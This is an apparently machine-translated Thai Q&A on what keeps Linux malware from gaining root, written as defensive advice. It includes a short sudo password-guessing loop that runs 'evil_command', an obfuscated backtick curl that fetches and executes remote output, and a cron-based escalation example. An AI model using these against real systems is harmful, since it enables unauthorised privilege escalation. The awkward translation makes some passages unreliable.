ฉันเข้าใจว่าหากมัลแวร์ใด ๆ เข้ามาในระบบ Linux แล้วส่วนใหญ่จะได้รับสิทธิ์ระดับผู้ใช้และทำลายสิ่งใดก็ตามที่ผู้ใช้เข้าถึงได้เช่นแฟ้มของผู้ใช้
แต่สิ่งที่ทำให้มัลแวร์ป้องกันการเข้าถึงระดับรากได้อย่างแน่นอน? ไม่สามารถถอดรหัสรหัสผ่านจากภายในได้หรือไม่?
ฉันเข้าใจว่าหากมัลแวร์ใด ๆ เข้ามาในระบบ Linux แล้วส่วนใหญ่จะได้รับสิทธิ์ระดับผู้ใช้และทำลายสิ่งใดก็ตามที่ผู้ใช้เข้าถึงได้เช่นแฟ้มของผู้ใช้
แต่สิ่งที่ทำให้มัลแวร์ป้องกันการเข้าถึงระดับรากได้อย่างแน่นอน? ไม่สามารถถอดรหัสรหัสผ่านจากภายในได้หรือไม่?
คำตอบ:
นี่เป็นคำถามที่ซับซ้อน มีจำนวนของชั้นที่แตกต่างของการรักษาความปลอดภัยในระบบ Ubuntu จากกรอบที่ซับซ้อนเช่น AppArmor mmap_min_addr
ตัวแปรเคอร์เนลอ่อนน้อมถ่อมตนชอบ คุณสามารถเพิ่มคุณสมบัติเคอร์เนลบางอย่างเช่นการสุ่มหน่วยความจำในการผสม คุณสามารถค้นหารายการของพวกเขาพร้อมกับคำอธิบายอย่างรวดเร็วในอูบุนตูวิกิพีเดีย
อีกปัจจัยที่สำคัญคือการอัปเดตนั้นรวดเร็วและง่ายดายดังนั้นคอมพิวเตอร์ส่วนใหญ่จะได้รับการอัปเดตเป็นการแก้ไขด้านความปลอดภัยล่าสุด
เท่าที่ฉันรู้ผู้โจมตีที่ได้รับการเข้าถึงเครื่องคอมพิวเตอร์ของคุณมีสามวิธีในการปรับขนาดสิทธิ์เคอร์เนล:
ถอดรหัสรหัสผ่าน แต่นี่จะเป็นเรื่องยากจริง ๆ รหัสผ่านจะถูกเก็บไว้เข้ารหัสโดยใช้อัลกอริธึมที่ไม่มีข้อบกพร่อง จะใช้เวลานานในการแตก
บั๊กในเคอร์เนล แต่คุณสมบัติด้านความปลอดภัยทั้งหมดของเคอร์เนลจะเข้ามาขวางทาง
หลอกให้ผู้ใช้แจกรหัสผ่านเช่นวิศวกรรมสังคม เพียงแสดงกล่องโต้ตอบรหัสผ่านปลอมหรือใช้เคล็ดลับอื่น ๆ นี่เป็นวิธีที่ง่ายที่สุดที่จะทำ
จุดที่สามคือจุดอ่อนที่อ่อนแอที่สุดในตอนนี้
sudoers
นอกจากนี้ยังสามารถติดตั้งบริการที่จะทำงานเป็นรากหรือยุ่งกับ
การถอดรหัสรหัสผ่านด้วยตนเองไม่สามารถทำได้เนื่องจาก Ubuntu ปิดใช้งานผู้ใช้รูทเป็นค่าเริ่มต้น อย่างไรก็ตามหากผู้ใช้ของคุณสามารถรูทผ่าน sudo และรหัสผ่านของคุณเป็นเรื่องง่ายที่จะคาดเดา / brute-force คุณเป็นระบบที่ไม่ปลอดภัย ตัวอย่างสคริปต์พยายามทดสอบรหัสผ่าน:
#!/bin/sh
for pass in password 123 ubuntu pass; do
echo $pass|sudo -S evil_command
done
การเพิ่มที่เก็บที่ไม่น่าเชื่อถือช่วยให้ติดตั้งโปรแกรมจากที่เก็บนั้น แม้ว่าคุณจะไม่ได้ติดตั้งแอปพลิเคชั่นอย่างชัดเจนsudo apt-get install [app-from-repo]
แต่ที่เก็บยังสามารถส่งผลกระทบต่อโปรแกรมอื่น ๆ โดยทำให้ Ubuntu เชื่อว่าที่เก็บมีเวอร์ชั่นที่ใหม่กว่าของโปรแกรมบางโปรแกรม
ขั้นตอนการปรับปรุงการเรียกใช้เป็นรากมิฉะนั้นไฟล์ไม่สามารถเขียนไปหรือ/usr/bin
/etc
ทริกเกอร์การติดตั้งนั้นทำงานเป็นรูทด้วยและสามารถรันคำสั่งที่เป็นอันตรายและเป็นไปได้ ตอนนี้ไม่ต้องกังวลต้องดำเนินการด้วยตนเองเพื่ออัปเดตโปรแกรมและที่เก็บ Ubuntu ปลอดภัย ซอฟแวร์ปิดแหล่งที่มาเช่น Windows ไม่สามารถเชื่อถือได้อย่างเต็มที่เพราะคุณไม่สามารถตรวจสอบแหล่งที่มาของโค้ดที่เป็นอันตราย แต่คุณสามารถตรวจสอบแหล่งที่มาของการประยุกต์ใช้อูบุนตูถ้าคุณจำเป็นต้อง (ใช้ไม่ได้กับโปรแกรมที่เป็นกรรมสิทธิ์เช่นsun-java6
หรือ Flash)
ตามที่กล่าวไว้ใน Javier Rivera ข้อผิดพลาดของเคอร์เนลสามารถนำไปสู่การใช้รหัสโดยอำเภอใจได้ แต่ซอฟต์แวร์ที่บั๊กอาจเป็นอันตรายได้เช่นกันโดยเฉพาะsetsuid
ไบนารีรูทของbuggy (ไบนารีซึ่งจะทำงานภายใต้เจ้าของไฟล์รูท) และโปรแกรมอื่น ๆ
คุณสามารถสร้างช่องโหว่ความปลอดภัยในระบบของคุณหากคุณไม่ใส่ใจกับสิ่งที่คุณทำ ตัวอย่างเช่นโดยไม่เข้าใจแนวคิดของ cronjobs คุณได้เพิ่ม cronjob /etc/cron.daily
ที่เรียกใช้โปรแกรมในโฟลเดอร์บ้านของคุณ (เช่น/bin/sh /home/your-username/myscript.sh
หากไฟล์ myscript.sh เขียนได้โดยคุณคุณสามารถลบทิ้งได้ รหัสmyscript.sh
ที่จะถูกเรียกใช้ในฐานะรูท (การเพิ่มระดับสิทธิ์)
เพื่อความปลอดภัยให้ใช้ความคิดของคุณ! อย่ารันคำสั่งจากแหล่งที่ไม่น่าเชื่อถือหากคุณไม่ทราบว่ามันทำอะไร หากมีคนบอกว่าวิ่ง`curl 3221233674`
ด้วยเห็บหลัง 3221233674 เป็นอีกวิธีในการเขียน192.0.32.10
(IP ของ example.com) ดังนั้นมันจะเท่ากับ:
`curl http://example.com/`
back-ticks เหล่านั้นทำให้เอาต์พุตถูกเรียกใช้งานเป็นคำสั่งเชลล์ ภาษาอังกฤษแบบธรรมดา "ดาวน์โหลดหน้าhttp://example.com/แล้วลองเรียกใช้งานหน้าดาวน์โหลด"
ตอนแรกคุณจะไม่เห็นสิ่งที่เป็นอันตรายในคำสั่งที่กำหนด แต่ตอนนี้คุณรู้แล้วว่ามันสามารถถูกทำร้ายได้เช่นกัน
ตรวจสอบคำสั่ง / สคริปต์ที่คุณได้รับจากแหล่งที่ไม่น่าเชื่อถือเช่นอินเทอร์เน็ต